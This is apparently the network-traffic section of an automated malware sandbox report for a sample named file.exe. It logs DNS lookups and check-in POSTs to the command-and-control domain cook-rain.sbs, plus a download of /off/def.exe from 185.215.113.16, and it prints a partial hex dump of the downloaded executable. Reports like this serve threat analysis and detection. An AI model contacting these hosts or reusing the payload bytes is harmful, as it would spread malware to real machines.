Nov 20, 2024 13:29:14.216739893 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.216850996 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.216917992 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.217088938 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.217109919 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.217125893 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.217132092 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.220446110 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.220489979 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.220597029 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.220793009 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.220804930 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.549529076 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.550301075 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.550333977 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.551011086 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.551017046 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.643621922 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.644454002 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.644520044 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.644983053 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.644999027 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.660150051 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.660495043 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.660547018 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.660550117 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.660593987 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.660648108 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.660667896 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.660681009 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.660687923 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.664253950 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.664937973 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.664975882 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.665545940 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.665559053 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.744362116 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.744559050 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.744645119 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.745026112 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.745069981 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.745099068 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.745115995 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.771008015 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.771147966 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.771202087 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.771431923 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.771446943 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.771462917 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.771469116 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.827383995 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.828099012 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.828130007 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.828747988 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.828757048 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.877362967 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.877922058 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.877944946 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.878531933 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.878537893 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.937793970 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.938009024 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.938093901 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.938132048 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.938148022 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:14.938159943 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:14.938164949 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:15.117305040 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:15.117402077 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:15.117485046 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:15.123245001 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:15.123281956 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:15.123301029 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:15.123308897 CET	443	50083	13.107.246.45	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 13:27:14.917718887 CET	57962	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:27:15.444788933 CET	53	57962	1.1.1.1	192.168.2.8
Nov 20, 2024 13:27:44.607013941 CET	53	55331	1.1.1.1	192.168.2.8
Nov 20, 2024 13:27:44.673768997 CET	53	56528	1.1.1.1	192.168.2.8
Nov 20, 2024 13:27:45.860028982 CET	53	59419	1.1.1.1	192.168.2.8
Nov 20, 2024 13:27:48.697793961 CET	62114	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:27:48.697983980 CET	60102	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:27:48.707897902 CET	53	62114	1.1.1.1	192.168.2.8
Nov 20, 2024 13:27:48.707916975 CET	53	60102	1.1.1.1	192.168.2.8
Nov 20, 2024 13:27:50.583772898 CET	57750	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:27:50.584166050 CET	59666	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:27:53.256643057 CET	56802	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:27:53.256897926 CET	62391	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:27:55.016501904 CET	138	138	192.168.2.8	192.168.2.255
Nov 20, 2024 13:27:57.232265949 CET	53	64398	1.1.1.1	192.168.2.8
Nov 20, 2024 13:27:58.402554035 CET	55435	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:27:58.402940989 CET	63668	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:28:03.047296047 CET	53	63984	1.1.1.1	192.168.2.8
Nov 20, 2024 13:28:21.863996983 CET	53	51804	1.1.1.1	192.168.2.8
Nov 20, 2024 13:28:44.021940947 CET	53	50039	1.1.1.1	192.168.2.8
Nov 20, 2024 13:28:44.302966118 CET	53	63164	1.1.1.1	192.168.2.8
Nov 20, 2024 13:28:48.750560045 CET	59785	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:28:48.750827074 CET	49244	53	192.168.2.8	1.1.1.1
Nov 20, 2024 13:28:48.758378029 CET	53	49244	1.1.1.1	192.168.2.8
Nov 20, 2024 13:28:48.758810997 CET	53	59785	1.1.1.1	192.168.2.8
Nov 20, 2024 13:29:13.094954967 CET	53	52007	1.1.1.1	192.168.2.8

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 13:27:59.769500971 CET	192.168.2.8	1.1.1.1	c268	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 13:27:14.917718887 CET	192.168.2.8	1.1.1.1	0x2fb0	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:48.697793961 CET	192.168.2.8	1.1.1.1	0x826f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:48.697983980 CET	192.168.2.8	1.1.1.1	0x3157	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 13:27:50.583772898 CET	192.168.2.8	1.1.1.1	0x7b68	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:50.584166050 CET	192.168.2.8	1.1.1.1	0x4a8c	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 13:27:53.256643057 CET	192.168.2.8	1.1.1.1	0x868e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:53.256897926 CET	192.168.2.8	1.1.1.1	0x830a	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 13:27:58.402554035 CET	192.168.2.8	1.1.1.1	0xcd14	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:58.402940989 CET	192.168.2.8	1.1.1.1	0x4d9b	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 13:28:48.750560045 CET	192.168.2.8	1.1.1.1	0xe53d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:28:48.750827074 CET	192.168.2.8	1.1.1.1	0x8abb	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 13:27:15.444788933 CET	1.1.1.1	192.168.2.8	0x2fb0	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:15.444788933 CET	1.1.1.1	192.168.2.8	0x2fb0	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:48.707897902 CET	1.1.1.1	192.168.2.8	0x826f	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:48.707916975 CET	1.1.1.1	192.168.2.8	0x3157	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 13:27:50.590678930 CET	1.1.1.1	192.168.2.8	0x7fcc	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591039896 CET	1.1.1.1	192.168.2.8	0x7e98	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591039896 CET	1.1.1.1	192.168.2.8	0x7e98	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591039896 CET	1.1.1.1	192.168.2.8	0x7e98	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591204882 CET	1.1.1.1	192.168.2.8	0x7b68	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591204882 CET	1.1.1.1	192.168.2.8	0x7b68	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591204882 CET	1.1.1.1	192.168.2.8	0x7b68	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591204882 CET	1.1.1.1	192.168.2.8	0x7b68	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591384888 CET	1.1.1.1	192.168.2.8	0x4a8c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:50.591384888 CET	1.1.1.1	192.168.2.8	0x4a8c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:51.512197018 CET	1.1.1.1	192.168.2.8	0x645f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:51.512501955 CET	1.1.1.1	192.168.2.8	0x30a0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:51.512501955 CET	1.1.1.1	192.168.2.8	0x30a0	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:51.512501955 CET	1.1.1.1	192.168.2.8	0x30a0	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:53.263382912 CET	1.1.1.1	192.168.2.8	0x868e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:53.263382912 CET	1.1.1.1	192.168.2.8	0x868e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:53.263382912 CET	1.1.1.1	192.168.2.8	0x868e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:53.263382912 CET	1.1.1.1	192.168.2.8	0x868e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 13:27:53.264729977 CET	1.1.1.1	192.168.2.8	0x830a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:53.264729977 CET	1.1.1.1	192.168.2.8	0x830a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:58.412158012 CET	1.1.1.1	192.168.2.8	0x4d9b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:58.413846970 CET	1.1.1.1	192.168.2.8	0xcd14	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:59.748142004 CET	1.1.1.1	192.168.2.8	0x7e9c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:27:59.769416094 CET	1.1.1.1	192.168.2.8	0x1219	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:28:02.973845959 CET	1.1.1.1	192.168.2.8	0x4736	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:28:02.980226994 CET	1.1.1.1	192.168.2.8	0x31b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 13:28:48.758378029 CET	1.1.1.1	192.168.2.8	0x8abb	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 13:28:48.758810997 CET	1.1.1.1	192.168.2.8	0xe53d	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

www.bing.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49716	185.215.113.16	80	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 13:27:32.189801931 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 13:27:32.877640009 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 12:27:32 GMT Content-Type: application/octet-stream Content-Length: 2756608 Last-Modified: Wed, 20 Nov 2024 12:17:54 GMT Connection: keep-alive ETag: "673dd372-2a1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 16 fd 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ *`Ui` @ @.rsrc`2@.idata 8@ywhttfna)):@mpyioxor `)@.taggant@*")@
Nov 20, 2024 13:27:32.877675056 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 13:27:32.877686024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 13:27:32.877703905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 13:27:32.877715111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 13:27:32.877784014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 13:27:32.877794981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 13:27:32.877805948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 13:27:32.877840996 CET	776	IN	Data Raw: 71 71 c7 ce 60 8d cd c4 b0 96 23 5e bf f9 fd 87 fa be ae 39 1c f7 b8 71 e9 c2 7d 5c 6c 3c 7f ab 2b ca 56 70 eb 35 d9 af ba 4d 7f 9b a9 de c6 71 f3 f6 ca 1b 22 98 93 af 6d bb f8 24 ee e0 0d 87 c1 32 9e 47 a2 81 d8 f6 5f f0 21 62 a4 1f ca f7 42 70 Data Ascii: qq`#^9q}\l<+Vp5Mq"m$2G_!bBpjSn' !bs[<]++xq;@j ]_8#@gx\|~7FjD1bADoM,~~&p/7`?[1'(-6Y,WjcMtnz)-
Nov 20, 2024 13:27:32.877856016 CET	1236	IN	Data Raw: d1 ff 4c 26 0a 28 60 d8 ab 6e c0 eb 0b 48 c1 59 21 37 b6 d3 b5 47 8a f4 1d 22 86 72 3c 4a 5d ca 71 fb c8 81 29 b9 f7 2e c2 8c 2b 87 c7 b0 80 66 dd c5 bc 22 e8 be 3f d0 25 3a 05 11 2f 9a 32 65 c0 22 ab 5a d2 16 c3 e9 9c 8a 27 19 f3 f5 63 70 22 3b Data Ascii: L&(`nHY!7G"r<J]q).+f"?%:/2e"Z'cp";b'Yz%r_svn):7;J&h-j=1*sz_gs+!+,.oIGSB+p_ohis8/(=&W&Srup j
Nov 20, 2024 13:27:32.885584116 CET	1236	IN	Data Raw: 70 ff 06 1b ca 58 56 67 28 87 89 dd cb 79 17 0a 36 87 61 6d b4 c1 9a 26 28 3d 79 d3 37 60 3d 73 a5 e6 eb ce c1 74 c9 73 00 e1 5c e6 01 03 d0 75 bb 55 98 e8 13 9e ab bf f3 19 5e 8e 32 34 ce d5 ee 66 b1 5f ac fe 60 e7 f8 53 5e a8 cb 00 5e 80 f5 cc Data Ascii: pXVg(y6am&(=y7`=sts\uU^24f_`S^^gwi\>NKdj?ZCfHtna:xOtkd^2F>p/e+-I/uWK_7u!FeTW_Qe.`e8~d57+9'/;

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	188.114.96.3	443	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:16 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 12:27:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-20 12:27:17 UTC	979	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5p5et3cdq8kk5pnnk48mk8m76k; expires=Sun, 16-Mar-2025 06:13:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mK1H9p1M%2BiTRDdG5D6KYr0LkivHeBxZni5FOK8HsDh4%2BrGUKCFo4NFD25n1md6P7xyCiV4eLzBQg8zhPz5LIJKgUo47pStdw6g3DBM8zEv3fL4UYtM8mnOo2DP3l8nHw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e586ee27e934346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1815920&cwnd=252&unsent_bytes=0&cid=64ce33b67747844a&ts=1545&x=0"
2024-11-20 12:27:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 12:27:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	188.114.96.3	443	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:18 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-20 12:27:18 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-20 12:27:19 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a2vabrkrdnfmt5u645ishvgvh0; expires=Sun, 16-Mar-2025 06:13:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Hipe2pqDD1sguhNgtZaNV30zspoAjtoDuJO9IS%2BZuVLSeEmm5keqcm7U8fcv8Dul2a8uLfgEuExI%2Fwy37C1vQALFM5uwX35JlUfKkoa1OKkOVRsG6%2FAuwzbHy6q7pbB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e586eef682a8c0b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2007&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=950&delivery_rate=1392465&cwnd=206&unsent_bytes=0&cid=f5e263c26e38e479&ts=1017&x=0"
